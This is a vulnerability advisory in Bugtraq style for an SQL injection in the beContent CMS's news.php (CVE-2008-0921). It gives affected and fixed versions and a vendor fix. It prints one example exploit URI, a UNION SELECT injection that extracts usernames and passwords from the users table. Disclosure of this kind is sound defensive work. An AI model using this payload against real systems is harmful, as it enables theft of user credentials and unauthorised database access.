beContent 'news.php' SQL Injection Vulnerability

Bugtraq ID:	27928
Class:	Input Validation Error
CVE:	CVE-2008-0921
Remote:	Yes
Local:	No
Published:	Feb 21 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	Cr@zy_King is credited with the discovery of this vulnerability.
Vulnerable:	beContent beContent .031
Not Vulnerable:	beContent beContent 0.5.1

beContent 'news.php' SQL Injection Vulnerability

beContent is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects beContent .031; other versions may also be vulnerable.

beContent 'news.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/news.php?id=-3+union+select+1,concat_ws(0x3a,username,password),3,4+from+users

beContent 'news.php' SQL Injection Vulnerability

Solution:
The vendor has released beContent 0.5.1 to address this issue. Please see the references for more information.


beContent beContent .031

• beContent becontent_v051.zip
  http://becontent.googlecode.com/files/beContent%20v051.zip

beContent 'news.php' SQL Injection Vulnerability

References:

• beContent Homepage (beContent)